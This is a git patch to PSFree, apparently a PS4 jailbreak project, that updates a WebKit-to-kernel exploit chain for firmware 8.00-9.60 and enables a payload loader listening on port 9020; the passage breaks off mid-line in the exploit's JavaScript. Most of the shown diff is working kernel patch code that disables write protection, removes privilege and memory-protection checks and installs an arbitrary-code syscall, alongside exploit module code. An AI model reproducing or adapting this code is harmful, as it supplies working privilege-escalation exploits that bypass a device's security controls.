From 3ab19c3a0b3f9b8b247cd8b25f15a0667d2ef4c5 Mon Sep 17 00:00:00 2001 From: Al Azif <33132478+Al-Azif@users.noreply.github.com> Date: Sun, 1 Jun 2025 03:46:23 -0700 Subject: [PATCH] Push updates... 1. Cleanup/Linting/Tweaks/Fixes/etc - Default Prettier config w/ 999 line length - Default eslint config "problems" list trimmed down 2. Fixed corrupt pointer cleanup by abc 3. Fixed `ip6po_rthdr` offset for PS5 by abc 4. Verified the number of blocking requests needed to be two by abc 5. Only run kernel exploit once by checking setuid by @JTAG7371 6. Kernel patches from pOOBs4 by @ChendoChap (Ported for 8.00-9.60) 7. Payload loader from pOOBs4 by @ChendoChap 8. Restore syscall 661 (`sys_aio_submit()`) after patching by @janisslsm 9. Add `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by @janisslsm The ONLY things that should need changes are the `/rop/ps4/*.mjs` files (850, 900, and 950). Firmware 8.00 appears to be stable/have a good success rate now. --- .prettierrc | 3 + README.md | 3 +- src/alert.mjs | 26 +- src/config.mjs | 54 +- src/kpatch/800.c | 63 +- src/kpatch/850.c | 63 +- src/kpatch/900.c | 63 +- src/kpatch/903.c | 63 +- src/kpatch/950.c | 63 +- src/lapse.mjs | 2524 ++++++++++++++++++++------------------- src/lapse/ps4/800.mjs | 20 +- src/lapse/ps4/850.mjs | 20 +- src/lapse/ps4/852.mjs | 20 +- src/lapse/ps4/900.mjs | 20 +- src/lapse/ps4/903.mjs | 20 +- src/lapse/ps4/950.mjs | 20 +- src/module/chain.mjs | 915 +++++++------- src/module/int64.mjs | 166 ++- src/module/mem.mjs | 605 +++++----- src/module/memtools.mjs | 294 ++--- src/module/rw.mjs | 103 +- src/module/utils.mjs | 202 ++-- src/module/view.mjs | 293 +++-- src/psfree.mjs | 1256 ++++++++++--------- src/rop/ps4/800.mjs | 285 ++--- src/rop/ps4/850.mjs | 285 ++--- src/rop/ps4/900.mjs | 285 ++--- src/rop/ps4/950.mjs | 285 ++--- src/send.mjs | 168 ++- 29 files changed, 4082 insertions(+), 4105 deletions(-) create mode 100644 .prettierrc diff --git a/.prettierrc b/.prettierrc new file mode 100644 index 0000000..5e3d37e --- /dev/null +++ b/.prettierrc @@ -0,0 +1,3 @@ +{ + "printWidth": 999 +} diff --git a/README.md b/README.md index 7dca378..ec3776d 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ PSFree is a collection of exploits for the PS4 console. The main focus of the re * **Auto-detection:** Automatically detects console type and firmware version (via `src/config.mjs`). * **WebKit Exploit (PSFree):** Entry point via the console's web browser. * **Kernel Exploit (Lapse):** Escalates privileges to kernel level. -* ~~Payload Loader: After successful kernel exploitation listens for a payload on port 9020.~~ **WIP** +* **Payload Loader:** After successful kernel exploitation listens for a payload on port 9020. ## Vulnerability Scope @@ -29,7 +29,6 @@ This table indicates firmware versions for which the *current version* of this r ## TODO List -- [ ] Integrate payload loader (Test on 8.00-8.03) - [ ] Rewrite JOP chains in `rop/ps4/850.mjs`, `rop/ps4/900.mjs`, and `rop/ps4/950.mjs` - I scrapped the ones I had... - [ ] `lapse.mjs`: Just set the bits for JIT privs diff --git a/src/alert.mjs b/src/alert.mjs index b5a7371..b344e7d 100644 --- a/src/alert.mjs +++ b/src/alert.mjs @@ -26,27 +26,17 @@ along with this program. If not, see . */ // We log the line and column numbers as well since some exceptions (like // SyntaxError) do not show it in the stack trace. -addEventListener('unhandledrejection', event => { - const reason = event.reason; - alert( - 'Unhandled rejection\n' - + `${reason}\n` - + `${reason.sourceURL}:${reason.line}:${reason.column}\n` - + `${reason.stack}` - ); +addEventListener("unhandledrejection", (event) => { + const reason = event.reason; + alert(`Unhandled rejection\n${reason}\n${reason.sourceURL}:${reason.line}:${reason.column}\n${reason.stack}`); }); -addEventListener('error', event => { - const reason = event.error; - alert( - 'Unhandled error\n' - + `${reason}\n` - + `${reason.sourceURL}:${reason.line}:${reason.column}\n` - + `${reason.stack}` - ); - return true; +addEventListener("error", (event) => { + const reason = event.error; + alert(`Unhandled error\n${reason}\n${reason.sourceURL}:${reason.line}:${reason.column}\n${reason.stack}`); + return true; }); // we have to dynamically import the program if we want to catch its syntax // errors -import('./psfree.mjs'); +import("./psfree.mjs"); diff --git a/src/config.mjs b/src/config.mjs index 4c3f856..dd17f1e 100644 --- a/src/config.mjs +++ b/src/config.mjs @@ -38,46 +38,46 @@ along with this program. If not, see . */ // check if value is in Binary Coded Decimal format // assumes integer and is in the range [0, 0xffff] function check_bcd(value) { - for (let i = 0; i <= 12; i += 4) { - const nibble = (value >>> i) & 0xf; + for (let i = 0; i <= 12; i += 4) { + const nibble = (value >>> i) & 0xf; - if (nibble > 9) { - return false; - } + if (nibble > 9) { + return false; } + } - return true; + return true; } export function set_target(value) { - if (!Number.isInteger(value)) { - throw TypeError(`value not an integer: ${value}`); - } + if (!Number.isInteger(value)) { + throw TypeError(`value not an integer: ${value}`); + } - if (value >= 0x20000 || value < 0) { - throw RangeError(`value >= 0x20000 or value < 0: ${value}`); - } + if (value >= 0x20000 || value < 0) { + throw RangeError(`value >= 0x20000 or value < 0: ${value}`); + } - const version = value & 0xffff; - if (!check_bcd(version)) { - throw RangeError(`value & 0xffff not in BCD format ${version}`); - } + const version = value & 0xffff; + if (!check_bcd(version)) { + throw RangeError(`value & 0xffff not in BCD format ${version}`); + } - target = value; + target = value; } function get_target_from_ua(useragent) { - const pattern = /^Mozilla\/5\.0 \(?(?:PlayStation; )?PlayStation (4|5)[ \/]([0-9]{1,2}\.[0-9]{2})\)? AppleWebKit\/[0-9.]+ \(KHTML, like Gecko\)(?: Version\/[0-9.]+ Safari\/[0-9.]+)?$/; - const match = pattern.exec(useragent); - if (!match) { - return; - } + const pattern = /^Mozilla\/5\.0 \(?(?:PlayStation; )?PlayStation (4|5)[ \/]([0-9]{1,2}\.[0-9]{2})\)? AppleWebKit\/[0-9.]+ \(KHTML, like Gecko\)(?: Version\/[0-9.]+ Safari\/[0-9.]+)?$/; + const match = pattern.exec(useragent); + if (!match) { + return; + } - if (match[1] == '4') { - return parseInt(`0x0${match[2].replace('.', '').padStart(4, '0')}`); - } else if (match[1] == '5') { - return parseInt(`0x1${match[2].replace('.', '').padStart(4, '0')}`); - } + if (match[1] == "4") { + return parseInt(`0x0${match[2].replace(".", "").padStart(4, "0")}`); + } else if (match[1] == "5") { + return parseInt(`0x1${match[2].replace(".", "").padStart(4, "0")}`); + } } export let target = null; diff --git a/src/kpatch/800.c b/src/kpatch/800.c index 510be7d..f393b6d 100644 --- a/src/kpatch/800.c +++ b/src/kpatch/800.c @@ -60,8 +60,20 @@ void do_patch(void) { disable_cr0_wp(); - // patch amd64_syscall() to allow calling syscalls everywhere + // ChendoChap's patches from pOOBs4 /////////////////////////////////////// + // Initial patches + write16(kbase, 0x62d254, 0x9090); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x25e10d, 0xeb); // bzero + write8(kbase, 0x25e151, 0xeb); // pagezero + write8(kbase, 0x25e1cd, 0xeb); // memcpy + write8(kbase, 0x25e211, 0xeb); // pagecopy + write8(kbase, 0x25e3bd, 0xeb); // copyin + write8(kbase, 0x25e86d, 0xeb); // copyinstr + write8(kbase, 0x25e93d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere // struct syscall_args sa; // initialized already // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); // int is_invalid_syscall = 0 @@ -95,19 +107,16 @@ void do_patch(void) { // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) // // sy_call() is the function that will execute the requested syscall. - write16(kbase, 0x4b5, 0x9090); - write16(kbase, 0x4b9, 0x9090); write8(kbase, 0x4c2, 0xeb); + write16(kbase, 0x4b9, 0x9090); + write16(kbase, 0x4b5, 0x9090); - // patch sys_mmap() to allow rwx mappings - - // patch maximum cpu mem protection: 0x33 -> 0x37 - // the ps4 added custom protections for their gpu memory accesses - // GPU X: 0x8 R: 0x10 W: 0x20 - // that's why you see other bits set - // ref: https://cturt.github.io/ps4-2.html - write8(kbase, 0xfd03a, 0x37); - write8(kbase, 0xfd03d, 0x37); + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x34d696, 0xeb); // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings // @@ -119,8 +128,10 @@ void do_patch(void) { // } write32(kbase, 0x3ec68d, 0); - // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // TODO: Description of this patch. "prx" + write16(kbase, 0x318d84, 0xe990); + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere // call ... // mov r14, qword [rbp - 0xad0] // cmp eax, 0x4000000 @@ -142,13 +153,14 @@ void do_patch(void) { // ... write32(kbase, 0x951c0, 0xc3c03148); - // patch sys_setuid() to allow freely changing the effective user ID - - // ; PRIV_CRED_SETUID = 50 - // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) - // test eax, eax - // je ... ; patch je to jmp - write8(kbase, 0x34d696, 0xeb); + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0xfd03a, 0x37); + write8(kbase, 0xfd03d, 0x37); // overwrite the entry of syscall 11 (unimplemented) in sysent // @@ -164,15 +176,12 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } - - // sysent[11] - const size_t offset_sysent_11 = 0x10fc6e0; - // .sy_narg = 6 - write32(kbase, offset_sysent_11, 6); + // .sy_narg = 2 + write32(kbase, 0x10fc6e0, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, offset_sysent_11 + 8, kbase + 0xe629c); + write64(kbase, 0x10fc6e0 + 8, kbase + 0xe629c); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, offset_sysent_11 + 0x2c, 1); + write32(kbase, 0x10fc6e0 + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/850.c b/src/kpatch/850.c index 47f702b..c0420ae 100644 --- a/src/kpatch/850.c +++ b/src/kpatch/850.c @@ -60,8 +60,20 @@ void do_patch(void) { disable_cr0_wp(); - // patch amd64_syscall() to allow calling syscalls everywhere + // ChendoChap's patches from pOOBs4 /////////////////////////////////////// + // Initial patches + write16(kbase, 0x624674, 0x9090); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x3a403d, 0xeb); // bzero + write8(kbase, 0x3a4081, 0xeb); // pagezero + write8(kbase, 0x3a40fd, 0xeb); // memcpy + write8(kbase, 0x3a4141, 0xeb); // pagecopy + write8(kbase, 0x3a42ed, 0xeb); // copyin + write8(kbase, 0x3a479d, 0xeb); // copyinstr + write8(kbase, 0x3a486d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere // struct syscall_args sa; // initialized already // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); // int is_invalid_syscall = 0 @@ -95,19 +107,16 @@ void do_patch(void) { // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) // // sy_call() is the function that will execute the requested syscall. - write16(kbase, 0x4b5, 0x9090); - write16(kbase, 0x4b9, 0x9090); write8(kbase, 0x4c2, 0xeb); + write16(kbase, 0x4b9, 0x9090); + write16(kbase, 0x4b5, 0x9090); - // patch sys_mmap() to allow rwx mappings - - // patch maximum cpu mem protection: 0x33 -> 0x37 - // the ps4 added custom protections for their gpu memory accesses - // GPU X: 0x8 R: 0x10 W: 0x20 - // that's why you see other bits set - // ref: https://cturt.github.io/ps4-2.html - write8(kbase, 0x826ea, 0x37); - write8(kbase, 0x826ed, 0x37); + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x22f3d6, 0xeb); // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings // @@ -119,8 +128,10 @@ void do_patch(void) { // } write32(kbase, 0x14d6dd, 0); - // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // TODO: Description of this patch. "prx" + write16(kbase, 0x17474, 0xe990); + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere // call ... // mov r14, qword [rbp - 0xad0] // cmp eax, 0x4000000 @@ -142,13 +153,14 @@ void do_patch(void) { // ... write32(kbase, 0x3ad040, 0xc3c03148); - // patch sys_setuid() to allow freely changing the effective user ID - - // ; PRIV_CRED_SETUID = 50 - // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) - // test eax, eax - // je ... ; patch je to jmp - write8(kbase, 0x22f3d6, 0xeb); + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x826ea, 0x37); + write8(kbase, 0x826ed, 0x37); // overwrite the entry of syscall 11 (unimplemented) in sysent // @@ -164,15 +176,12 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } - - // sysent[11] - const size_t offset_sysent_11 = 0x10fc7d0; - // .sy_narg = 6 - write32(kbase, offset_sysent_11, 6); + // .sy_narg = 2 + write32(kbase, 0x10fc7d0, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, offset_sysent_11 + 8, kbase + 0xc810d); + write64(kbase, 0x10fc7d0 + 8, kbase + 0xc810d); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, offset_sysent_11 + 0x2c, 1); + write32(kbase, 0x10fc7d0 + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/900.c b/src/kpatch/900.c index ce994b6..41c8818 100644 --- a/src/kpatch/900.c +++ b/src/kpatch/900.c @@ -60,8 +60,20 @@ void do_patch(void) { disable_cr0_wp(); - // patch amd64_syscall() to allow calling syscalls everywhere + // ChendoChap's patches from pOOBs4 /////////////////////////////////////// + // Initial patches + write16(kbase, 0x626874, 0x9090); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x2713fd, 0xeb); // bzero + write8(kbase, 0x271441, 0xeb); // pagezero + write8(kbase, 0x2714bd, 0xeb); // memcpy + write8(kbase, 0x271501, 0xeb); // pagecopy + write8(kbase, 0x2716ad, 0xeb); // copyin + write8(kbase, 0x271b5d, 0xeb); // copyinstr + write8(kbase, 0x271c2d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere // struct syscall_args sa; // initialized already // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); // int is_invalid_syscall = 0 @@ -95,19 +107,16 @@ void do_patch(void) { // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) // // sy_call() is the function that will execute the requested syscall. - write16(kbase, 0x4b5, 0x9090); - write16(kbase, 0x4b9, 0x9090); write8(kbase, 0x4c2, 0xeb); + write16(kbase, 0x4b9, 0x9090); + write16(kbase, 0x4b5, 0x9090); - // patch sys_mmap() to allow rwx mappings - - // patch maximum cpu mem protection: 0x33 -> 0x37 - // the ps4 added custom protections for their gpu memory accesses - // GPU X: 0x8 R: 0x10 W: 0x20 - // that's why you see other bits set - // ref: https://cturt.github.io/ps4-2.html - write8(kbase, 0x16632a, 0x37); - write8(kbase, 0x16632d, 0x37); + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x1a06, 0xeb); // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings // @@ -119,8 +128,10 @@ void do_patch(void) { // } write32(kbase, 0x80b8d, 0); - // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // TODO: Description of this patch. "prx" + write16(kbase, 0x23aec4, 0xe990); + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere // call ... // mov r14, qword [rbp - 0xad0] // cmp eax, 0x4000000 @@ -142,13 +153,14 @@ void do_patch(void) { // ... write32(kbase, 0x221b40, 0xc3c03148); - // patch sys_setuid() to allow freely changing the effective user ID - - // ; PRIV_CRED_SETUID = 50 - // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) - // test eax, eax - // je ... ; patch je to jmp - write8(kbase, 0x1a06, 0xeb); + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x16632a, 0x37); + write8(kbase, 0x16632d, 0x37); // overwrite the entry of syscall 11 (unimplemented) in sysent // @@ -164,15 +176,12 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } - - // sysent[11] - const size_t offset_sysent_11 = 0x1100520; - // .sy_narg = 6 - write32(kbase, offset_sysent_11, 6); + // .sy_narg = 2 + write32(kbase, 0x1100520, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad); + write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, offset_sysent_11 + 0x2c, 1); + write32(kbase, 0x1100520 + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/903.c b/src/kpatch/903.c index f249a56..8a32aab 100644 --- a/src/kpatch/903.c +++ b/src/kpatch/903.c @@ -60,8 +60,20 @@ void do_patch(void) { disable_cr0_wp(); - // patch amd64_syscall() to allow calling syscalls everywhere + // ChendoChap's patches from pOOBs4 /////////////////////////////////////// + // Initial patches + write16(kbase, 0x624834, 0x9090); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x27107d, 0xeb); // bzero + write8(kbase, 0x2710c1, 0xeb); // pagezero + write8(kbase, 0x27113d, 0xeb); // memcpy + write8(kbase, 0x271181, 0xeb); // pagecopy + write8(kbase, 0x27132d, 0xeb); // copyin + write8(kbase, 0x2717dd, 0xeb); // copyinstr + write8(kbase, 0x2718ad, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere // struct syscall_args sa; // initialized already // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); // int is_invalid_syscall = 0 @@ -95,19 +107,16 @@ void do_patch(void) { // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) // // sy_call() is the function that will execute the requested syscall. - write16(kbase, 0x4b5, 0x9090); - write16(kbase, 0x4b9, 0x9090); write8(kbase, 0x4c2, 0xeb); + write16(kbase, 0x4b9, 0x9090); + write16(kbase, 0x4b5, 0x9090); - // patch sys_mmap() to allow rwx mappings - - // patch maximum cpu mem protection: 0x33 -> 0x37 - // the ps4 added custom protections for their gpu memory accesses - // GPU X: 0x8 R: 0x10 W: 0x20 - // that's why you see other bits set - // ref: https://cturt.github.io/ps4-2.html - write8(kbase, 0x1662da, 0x37); - write8(kbase, 0x1662dd, 0x37); + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x1a06, 0xeb); // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings // @@ -119,8 +128,10 @@ void do_patch(void) { // } write32(kbase, 0x80b8d, 0); - // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // TODO: Description of this patch. "prx" + write16(kbase, 0x23ab94, 0xe990); + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere // call ... // mov r14, qword [rbp - 0xad0] // cmp eax, 0x4000000 @@ -142,13 +153,14 @@ void do_patch(void) { // ... write32(kbase, 0x221810, 0xc3c03148); - // patch sys_setuid() to allow freely changing the effective user ID - - // ; PRIV_CRED_SETUID = 50 - // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) - // test eax, eax - // je ... ; patch je to jmp - write8(kbase, 0x1a06, 0xeb); + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x1662da, 0x37); + write8(kbase, 0x1662dd, 0x37); // overwrite the entry of syscall 11 (unimplemented) in sysent // @@ -164,15 +176,12 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } - - // sysent[11] - const size_t offset_sysent_11 = 0x10fc520; - // .sy_narg = 6 - write32(kbase, offset_sysent_11, 6); + // .sy_narg = 2 + write32(kbase, 0x10fc520, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, offset_sysent_11 + 8, kbase + 0x5325b); + write64(kbase, 0x10fc520 + 8, kbase + 0x5325b); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, offset_sysent_11 + 0x2c, 1); + write32(kbase, 0x10fc520 + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/kpatch/950.c b/src/kpatch/950.c index 3c11415..47c8be0 100644 --- a/src/kpatch/950.c +++ b/src/kpatch/950.c @@ -60,8 +60,20 @@ void do_patch(void) { disable_cr0_wp(); - // patch amd64_syscall() to allow calling syscalls everywhere + // ChendoChap's patches from pOOBs4 /////////////////////////////////////// + // Initial patches + write16(kbase, 0x624ae4, 0x9090); // veriPatch + write8(kbase, 0xacd, 0xeb); // bcopy + write8(kbase, 0x201c0d, 0xeb); // bzero + write8(kbase, 0x201c51, 0xeb); // pagezero + write8(kbase, 0x201ccd, 0xeb); // memcpy + write8(kbase, 0x201d11, 0xeb); // pagecopy + write8(kbase, 0x201ebd, 0xeb); // copyin + write8(kbase, 0x20236d, 0xeb); // copyinstr + write8(kbase, 0x20243d, 0xeb); // copystr + + // patch amd64_syscall() to allow calling syscalls everywhere // struct syscall_args sa; // initialized already // u64 code = get_u64_at_user_address(td->tf_frame-tf_rip); // int is_invalid_syscall = 0 @@ -95,19 +107,16 @@ void do_patch(void) { // call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args) // // sy_call() is the function that will execute the requested syscall. - write16(kbase, 0x4b5, 0x9090); - write16(kbase, 0x4b9, 0x9090); write8(kbase, 0x4c2, 0xeb); + write16(kbase, 0x4b9, 0x9090); + write16(kbase, 0x4b5, 0x9090); - // patch sys_mmap() to allow rwx mappings - - // patch maximum cpu mem protection: 0x33 -> 0x37 - // the ps4 added custom protections for their gpu memory accesses - // GPU X: 0x8 R: 0x10 W: 0x20 - // that's why you see other bits set - // ref: https://cturt.github.io/ps4-2.html - write8(kbase, 0x122d7a, 0x37); - write8(kbase, 0x122d7d, 0x37); + // patch sys_setuid() to allow freely changing the effective user ID + // ; PRIV_CRED_SETUID = 50 + // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) + // test eax, eax + // je ... ; patch je to jmp + write8(kbase, 0x1fa536, 0xeb); // patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings // @@ -119,8 +128,10 @@ void do_patch(void) { // } write32(kbase, 0x196d3d, 0); - // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere + // TODO: Description of this patch. "prx" + write16(kbase, 0x19f724, 0xe990); + // patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere // call ... // mov r14, qword [rbp - 0xad0] // cmp eax, 0x4000000 @@ -142,13 +153,14 @@ void do_patch(void) { // ... write32(kbase, 0x11960, 0xc3c03148); - // patch sys_setuid() to allow freely changing the effective user ID - - // ; PRIV_CRED_SETUID = 50 - // call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0) - // test eax, eax - // je ... ; patch je to jmp - write8(kbase, 0x1fa536, 0xeb); + // patch sys_mmap() to allow rwx mappings + // patch maximum cpu mem protection: 0x33 -> 0x37 + // the ps4 added custom protections for their gpu memory accesses + // GPU X: 0x8 R: 0x10 W: 0x20 + // that's why you see other bits set + // ref: https://cturt.github.io/ps4-2.html + write8(kbase, 0x122d7a, 0x37); + write8(kbase, 0x122d7d, 0x37); // overwrite the entry of syscall 11 (unimplemented) in sysent // @@ -164,15 +176,12 @@ void do_patch(void) { // int sys_kexec(struct thread td, struct args *uap) { // asm("jmp qword ptr [rsi]"); // } - - // sysent[11] - const size_t offset_sysent_11 = 0x10f9500; - // .sy_narg = 6 - write32(kbase, offset_sysent_11, 6); + // .sy_narg = 2 + write32(kbase, 0x10f9500, 2); // .sy_call = gadgets['jmp qword ptr [rsi]'] - write64(kbase, offset_sysent_11 + 8, kbase + 0x15a6d); + write64(kbase, 0x10f9500 + 8, kbase + 0x15a6d); // .sy_thrcnt = SY_THR_STATIC - write32(kbase, offset_sysent_11 + 0x2c, 1); + write32(kbase, 0x10f9500 + 0x2c, 1); enable_cr0_wp(); } diff --git a/src/lapse.mjs b/src/lapse.mjs index 12281b5..90c5d62 100644 --- a/src/lapse.mjs +++ b/src/lapse.mjs @@ -25,72 +25,74 @@ along with this program. If not, see . */ // * RESTORE - code will repair kernel panic vulnerability // * MEMLEAK - memory leaks that our code will induce -import { Int } from './module/int64.mjs'; -import { mem } from './module/mem.mjs'; -import { clear_log, log, die, hex, hexdump } from './module/utils.mjs'; -import { cstr, jstr } from './module/memtools.mjs'; -import { page_size, context_size } from './module/offset.mjs'; -import { Chain } from './module/chain.mjs'; +import { Int } from "./module/int64.mjs"; +import { mem } from "./module/mem.mjs"; +import { log, die, hex, hexdump } from "./module/utils.mjs"; +import { cstr, jstr } from "./module/memtools.mjs"; +import { page_size, context_size } from "./module/offset.mjs"; +import { Chain } from "./module/chain.mjs"; -import { - View1, View2, View4, - Word, Long, Pointer, - Buffer, -} from './module/view.mjs'; +import { View1, View2, View4, Word, Long, Pointer, Buffer } from "./module/view.mjs"; -import * as rop from './module/chain.mjs'; -import * as config from './config.mjs'; +import * as rop from "./module/chain.mjs"; +import * as config from "./config.mjs"; -// Static imports for firmware configurations -import * as fw_ps4_800 from './lapse/ps4/800.mjs'; -import * as fw_ps4_850 from './lapse/ps4/850.mjs'; -import * as fw_ps4_852 from './lapse/ps4/852.mjs'; -import * as fw_ps4_900 from './lapse/ps4/900.mjs'; -import * as fw_ps4_903 from './lapse/ps4/903.mjs'; -import * as fw_ps4_950 from './lapse/ps4/950.mjs'; +// static imports for firmware configurations +import * as fw_ps4_800 from "./lapse/ps4/800.mjs"; +import * as fw_ps4_850 from "./lapse/ps4/850.mjs"; +import * as fw_ps4_852 from "./lapse/ps4/852.mjs"; +import * as fw_ps4_900 from "./lapse/ps4/900.mjs"; +import * as fw_ps4_903 from "./lapse/ps4/903.mjs"; +import * as fw_ps4_950 from "./lapse/ps4/950.mjs"; const t1 = performance.now(); // check if we are running on a supported firmware version const [is_ps4, version] = (() => { - const value = config.target; - const is_ps4 = (value & 0x10000) === 0; - const version = value & 0xffff; - const [lower, upper] = (() => { - if (is_ps4) { - return [0x100, 0x1250]; - } else { - return [0x100, 0x1020]; - } - })(); - - if (!(lower <= version && version < upper)) { - throw RangeError(`invalid config.target: ${hex(value)}`); + const value = config.target; + const is_ps4 = (value & 0x10000) === 0; + const version = value & 0xffff; + const [lower, upper] = (() => { + if (is_ps4) { + return [0x100, 0x1250]; + } else { + return [0x100, 0x1020]; } + })(); - return [is_ps4, version]; + if (!(lower <= version && version < upper)) { + throw RangeError(`invalid config.target: ${hex(value)}`); + } + + return [is_ps4, version]; })(); -// Set per-console/per-firmware offsets +// set per-console/per-firmware offsets const fw_config = (() => { - if (is_ps4) { - if (0x800 <= version && version < 0x850) { // 8.00, 8.01, 8.03 - return fw_ps4_800; - } else if (0x850 <= version && version < 0x852) { // 8.50 - return fw_ps4_850; - } else if (0x852 <= version && version < 0x900) { // 8.52 - return fw_ps4_852; - } else if (0x900 <= version && version < 0x903) { // 9.00 - return fw_ps4_900; - } else if (0x903 <= version && version < 0x950) { // 9.03, 9.04 - return fw_ps4_903; - } else if (0x950 <= version && version < 0x1000) { // 9.50, 9.51, 9.60 - return fw_ps4_950; - } - } else { - // TODO: PS5 + if (is_ps4) { + if (0x800 <= version && version < 0x850) { + // 8.00, 8.01, 8.03 + return fw_ps4_800; + } else if (0x850 <= version && version < 0x852) { + // 8.50 + return fw_ps4_850; + } else if (0x852 <= version && version < 0x900) { + // 8.52 + return fw_ps4_852; + } else if (0x900 <= version && version < 0x903) { + // 9.00 + return fw_ps4_900; + } else if (0x903 <= version && version < 0x950) { + // 9.03, 9.04 + return fw_ps4_903; + } else if (0x950 <= version && version < 0x1000) { + // 9.50, 9.51, 9.60 + return fw_ps4_950; } - throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? '4' : '5'}, version: ${hex(version)}`); + } else { + // TODO: PS5 + } + throw new RangeError(`unsupported console/firmware: ps${is_ps4 ? "4" : "5"}, version: ${hex(version)}`); })(); const pthread_offsets = fw_config.pthread_offsets; @@ -134,6 +136,9 @@ const CPU_LEVEL_WHICH = 3; const CPU_WHICH_TID = 1; // sys/mman.h +const PROT_READ = 1; +const PROT_WRITE = 2; +const PROT_EXEC = 4; const MAP_SHARED = 1; const MAP_FIXED = 0x10; @@ -178,26 +183,28 @@ const num_leaks = 5; const 